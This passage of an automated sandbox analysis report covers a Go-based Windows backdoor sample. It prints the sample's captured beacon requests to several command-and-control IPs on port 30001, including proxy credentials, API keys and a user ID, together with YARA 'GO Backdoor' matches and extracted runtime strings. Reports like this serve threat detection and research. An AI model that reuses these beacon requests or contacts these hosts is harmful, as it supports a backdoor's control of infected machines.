Aug 4, 2024 16:24:08.017986059 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:07 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49718	77.238.250.123	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:08.039623976 CEST	286	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 77.238.250.123:30001 User-Agent: Go-http-client/1.1 X-Api-Key: DbSoScCp Accept-Encoding: gzip
Aug 4, 2024 16:24:08.664594889 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:08 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49720	195.2.70.38	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:38.688800097 CEST	283	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 195.2.70.38:30001 User-Agent: Go-http-client/1.1 X-Api-Key: tzEvgVwA Accept-Encoding: gzip
Aug 4, 2024 16:24:39.404206038 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:39 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49721	91.142.74.28	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:39.472382069 CEST	284	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 91.142.74.28:30001 User-Agent: Go-http-client/1.1 X-Api-Key: JBO2t1wn Accept-Encoding: gzip
Aug 4, 2024 16:24:40.169311047 CEST	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:40 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49722	77.238.224.56	30001	6032	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 16:24:40.191090107 CEST	285	OUT	GET /api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b859f51c6956b5ad1&proxyPassword=acoplus&proxyUsername=acoplus&userId=4Sq6S3QBDg2k0LXayTco4Skn HTTP/1.1 Host: 77.238.224.56:30001 User-Agent: Go-http-client/1.1 X-Api-Key: dzQpInVp Accept-Encoding: gzip
Aug 4, 2024 16:24:40.997939110 CEST	156	IN	HTTP/1.1 409 Conflict Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 04 Aug 2024 14:24:40 GMT Content-Length: 1 Data Raw: 0a Data Ascii:

Statistics

CPU Usage

• SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Click to jump to process

Memory Usage

• SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Click to jump to process

High Level Behavior Distribution

• File
• Network

Click to dive into process behavior distribution

Target ID:	0
Start time:	10:23:31
Start date:	04/08/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe"
Imagebase:	0x360000
File size:	7'139'840 bytes
MD5 hash:	923EC5C02989F28B859F51C6956B5AD1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.0000000001862000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.000000000190E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2159473753.0000000001A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.000000000186A000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2158983127.00000000019BA000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.0000000001962000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.0000000001942000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2158983127.00000000019CA000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.000000000185E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.000000000193E000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.0000000001864000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2157529596.0000000001946000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage

Dynamic/Packed Code Coverage

Signature Coverage

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Show Legend

Hide Nodes/Edges

Executed Functions

Function 003C0250 Relevance: 1.5, APIs: 1, Instructions: 21
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE ref: 003C0278

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a2cfa61b4501b04a2c5f40c8367aff7a2baaadd22eedac0d36916a775c4c6aab
Instruction ID: 2310f5dd98596184494bf71078f90b631aa2c1aeaca944599631f8ee612c3082
Opcode Fuzzy Hash: a2cfa61b4501b04a2c5f40c8367aff7a2baaadd22eedac0d36916a775c4c6aab
Instruction Fuzzy Hash: 71E0E571505640CFCB19DF18C2C5706BBF1EB48A00F0485A8DE098F74AD734ED10CB92

Non-executed Functions

Function 00374960 Relevance: 39.2, Strings: 30, Instructions: 1689COMMON

Download Yara Rule

Strings

, xrefs: 0037607D
/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running , xrefs: 00375A8C
/memory/classes/metadata/mcache/inuse:bytesruntime.SetFinalizer: first argument is nilruntime.SetFinalizer: finalizer already setgcBgMarkWorker: unexpected gcMarkWorkerModenon in-use span found with specials bit setgrew heap, but no adequate free space foundro, xrefs: 00375CB7
/gc/heap/allocs:objectsmissing type in runfinqruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectbad profile stack countruntime: netpoll failedRtlGetNtVersionNumbers, xrefs: 003754E5
:eventswindowswsarecvwsasendconnectopenbsdlookup writetoUpgradeHEADERSTrailerReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTconsolePATHEXTrefused\\.\UNCabortedCopySidWSARecvW, xrefs: 00376484
, xrefs: 00375E2C
@e7, xrefs: 003764E8
/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectruntime.semasleep unexpectedfatal: morestack on gsignalgcstopm: negative nmspinningfindrunn, xrefs: 00375557
/gc/gogc:percent, not a functiongc: unswept spanworkbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary datatimeBeginPeriod, xrefs: 00375756
8, xrefs: 00374B22
E, xrefs: 0037499D
/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushedworkbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitws2_32.dll not foundforcegc: phase errorgopark: bad g statusgo of nil func value, xrefs: 00375311
/cpu/classes/gc/mark/idle:cpu-secondssetprofilebucket: profile already setfailed to reserve page summary memoryruntime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpall goroutines are asleep - deadlock!R, xrefs: 00374CAB
/cpu/classes/total:cpu-seconds/gc/cycles/automatic:gc-cycles/sched/pauses/total/gc:seconds/sync/mutex/wait/total:seconds/godebug/non-default-behavior/bcryptprimitives.dll not foundpanic called with nil argumentcheckdead: inconsistent countsrunqputslow: queue i, xrefs: 00374FDE
/cpu/classes/gc/mark/assist:cpu-seconds/cpu/classes/scavenge/total:cpu-seconds/memory/classes/profiling/buckets:bytesmspan.sweep: bad span state after sweepruntime: blocked write on free polldescPowerRegisterSuspendResumeNotification, xrefs: 00374BC1
/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime:, xrefs: 00375E8F
/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark phaseno P available, write barriers are forbiddencompileCallback: float results not suppo, xrefs: 00374EF4
/memory/classes/metadata/mspan/free:bytesruntime.SetFinalizer: second argument is gcSweep being done but phase is not GCoffobjects added out of order or overlappingmheap.freeSpanLocked - invalid stack freemheap.freeSpanLocked - invalid span stateattempted to a, xrefs: 00375D26
/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesbad kind in runfinqmarkroot: bad indexnwait > work.nprocsmarking free objectsysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundpanic during mallocpanic holding locksmissing defer, xrefs: 0037529C
/cpu/classes/scavenge/assist:cpu-secondsruntime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unknown mark worker modecannot free workbufs when work.full != 0runtime.preemptM: duplicatehandle failedglobal runq empty wi, xrefs: 00374E7F
/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power , xrefs: 00374D20
/cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCupdate during transitioncan't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryrange partially overlapsbindm in unexpected GOOSrunqsteal: runq over, xrefs: 00374B4F
/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffscanobject of a noscan objectaddspecial on invalid pointertimeBegin/EndPeriod not foundruntime: sudog with non-nil , xrefs: 00374E0A
/sched/gomaxprocs:threadsremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidlestartm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown si, xrefs: 00376134
!, xrefs: 00376354
/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nprocallocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupte, xrefs: 0037513D
/gc/scan/globals:bytes/gc/heap/frees:objectsscanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: t, xrefs: 00375227
/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: n, xrefs: 00375AFB
/cpu/classes/gc/mark/dedicated:cpu-seconds/memory/classes/metadata/mcache/free:bytes/memory/classes/metadata/mspan/inuse:bytesnon-empty mark queue after concurrent marksweep: tried to preserve a user arena spanruntime: blocked write on closing polldescacquireS, xrefs: 00374C36
/gc/cycles/total:gc-cyclesnegative idle mark workersuse of invalid sweepLockerfreedefer with d.fn != nilforEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc), xrefs: 003751B2

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $ $!$/cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCupdate during transitioncan't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryrange partially overlapsbindm in unexpected GOOSrunqsteal: runq over$/cpu/classes/gc/mark/assist:cpu-seconds/cpu/classes/scavenge/total:cpu-seconds/memory/classes/profiling/buckets:bytesmspan.sweep: bad span state after sweepruntime: blocked write on free polldescPowerRegisterSuspendResumeNotification$/cpu/classes/gc/mark/dedicated:cpu-seconds/memory/classes/metadata/mcache/free:bytes/memory/classes/metadata/mspan/inuse:bytesnon-empty mark queue after concurrent marksweep: tried to preserve a user arena spanruntime: blocked write on closing polldescacquireS$/cpu/classes/gc/mark/idle:cpu-secondssetprofilebucket: profile already setfailed to reserve page summary memoryruntime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpall goroutines are asleep - deadlock!R$/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power $/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffscanobject of a noscan objectaddspecial on invalid pointertimeBegin/EndPeriod not foundruntime: sudog with non-nil $/cpu/classes/scavenge/assist:cpu-secondsruntime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unknown mark worker modecannot free workbufs when work.full != 0runtime.preemptM: duplicatehandle failedglobal runq empty wi$/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark phaseno P available, write barriers are forbiddencompileCallback: float results not suppo$/cpu/classes/total:cpu-seconds/gc/cycles/automatic:gc-cycles/sched/pauses/total/gc:seconds/sync/mutex/wait/total:seconds/godebug/non-default-behavior/bcryptprimitives.dll not foundpanic called with nil argumentcheckdead: inconsistent countsrunqputslow: queue i$/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nprocallocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupte$/gc/cycles/total:gc-cyclesnegative idle mark workersuse of invalid sweepLockerfreedefer with d.fn != nilforEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)$/gc/gogc:percent, not a functiongc: unswept spanworkbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary datatimeBeginPeriod$/gc/heap/allocs:objectsmissing type in runfinqruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectbad profile stack countruntime: netpoll failedRtlGetNtVersionNumbers$/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectruntime.semasleep unexpectedfatal: morestack on gsignalgcstopm: negative nmspinningfindrunn$/gc/scan/globals:bytes/gc/heap/frees:objectsscanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: t$/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesbad kind in runfinqmarkroot: bad indexnwait > work.nprocsmarking free objectsysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundpanic during mallocpanic holding locksmissing defer$/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushedworkbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitws2_32.dll not foundforcegc: phase errorgopark: bad g statusgo of nil func value$/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running $/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: n$/memory/classes/metadata/mcache/inuse:bytesruntime.SetFinalizer: first argument is nilruntime.SetFinalizer: finalizer already setgcBgMarkWorker: unexpected gcMarkWorkerModenon in-use span found with specials bit setgrew heap, but no adequate free space foundro$/memory/classes/metadata/mspan/free:bytesruntime.SetFinalizer: second argument is gcSweep being done but phase is not GCoffobjects added out of order or overlappingmheap.freeSpanLocked - invalid stack freemheap.freeSpanLocked - invalid span stateattempted to a$/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime:$/sched/gomaxprocs:threadsremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidlestartm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown si$8$:eventswindowswsarecvwsasendconnectopenbsdlookup writetoUpgradeHEADERSTrailerReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUG:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTconsolePATHEXTrefused\\.\UNCabortedCopySidWSARecvW$@e7$E
API String ID: 0-3803384145
Opcode ID: d6685288253e9439afc52d7c41615b13ae0b37cba30237ecdc243a190ce159bd
Instruction ID: d234e18cfd074742510412b181c67af1d2cc9517ac84e74b06c07bdbe6e8efbc
Opcode Fuzzy Hash: d6685288253e9439afc52d7c41615b13ae0b37cba30237ecdc243a190ce159bd
Instruction Fuzzy Hash: 6303E6B4609345CFD32ADF14D495BAABBE1FB88304F01C82EE49A8B761DB789845CF45

Function 00374960 Relevance: 7.9, Strings: 5, Instructions: 1689COMMON

Download Yara Rule

Strings

, xrefs: 00375E2C
E, xrefs: 0037499D
8, xrefs: 00374B22
, xrefs: 0037607D
!, xrefs: 00376354

Memory Dump Source

Source File: 00000000.00000001.1463227340.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00361000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_361000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $ $!$8$E
API String ID: 0-1150507601
Opcode ID: 9eebcd831510448724b6e3eff283a97ab9fa05a099372c6e2e34660af67db455
Instruction ID: d234e18cfd074742510412b181c67af1d2cc9517ac84e74b06c07bdbe6e8efbc
Opcode Fuzzy Hash: 9eebcd831510448724b6e3eff283a97ab9fa05a099372c6e2e34660af67db455
Instruction Fuzzy Hash: 6303E6B4609345CFD32ADF14D495BAABBE1FB88304F01C82EE49A8B761DB789845CF45

Function 0036B580 Relevance: 5.7, Strings: 4, Instructions: 695COMMON

Download Yara Rule

Strings

malloc during signalclose of nil channelnotetsleep not on g0bad system page size/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushedworkbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double wait, xrefs: 0036BEC8
!"#$%%&&''((()))*++,,,,,------....//////0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@@@@@@@@@@@@@@@@@@AAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC, xrefs: 0036B989
unexpected malloc header in delayed zeroing of large object, xrefs: 0036BE58
2, xrefs: 0036BEFD

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157027173.00000000009DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157043262.00000000009E0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A01000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A14000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157068659.0000000000A50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157156449.0000000000A56000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157172245.0000000000A57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_360000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: !"#$%%&&''((()))*++,,,,,------....//////0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@@@@@@@@@@@@@@@@@@AAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC$2$malloc during signalclose of nil channelnotetsleep not on g0bad system page size/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushedworkbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double wait$unexpected malloc header in delayed zeroing of large object
API String ID: 0-1163990214
Opcode ID: 057fbe1262328f04470f29991f3447baa9ec95a1d2995b709bc69e46bbe64b62
Instruction ID: 989902bbb7e47b8bd2a15b9f86660bc5d13f759a3832ec32ef361d4e960cad51
Opcode Fuzzy Hash: 057fbe1262328f04470f29991f3447baa9ec95a1d2995b709bc69e46bbe64b62
Instruction Fuzzy Hash: 6C52AA746083448FC316CF69C49066AFBE1EF89304F05C96DE9998B396D739D986CF82

Function 00390D70 Relevance: 5.1, Strings: 4, Instructions: 57COMMON

Download Yara Rule

Strings

', xrefs: 00390DD1
powrprof.dll, xrefs: 00390D8D
PowerRegisterSuspendResumeNotification, xrefs: 00390DBF
', xrefs: 00390DC9

Memory Dump Source

Source File: 00000000.00000002.2156390838.0000000000361000.00000020.00000001.01000000.00000003.sdmp, Offset: 00360000, based on PE: true

Associated: 00000000.00000002.2156357330.0000000000360000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156692235.0000000000763000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156917914.00000000009DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156949616.00000000009DC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156977537.00000000009DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157003332.00000000009DE000.00000008.00000001.01000000.00000003.sdmpDownload File
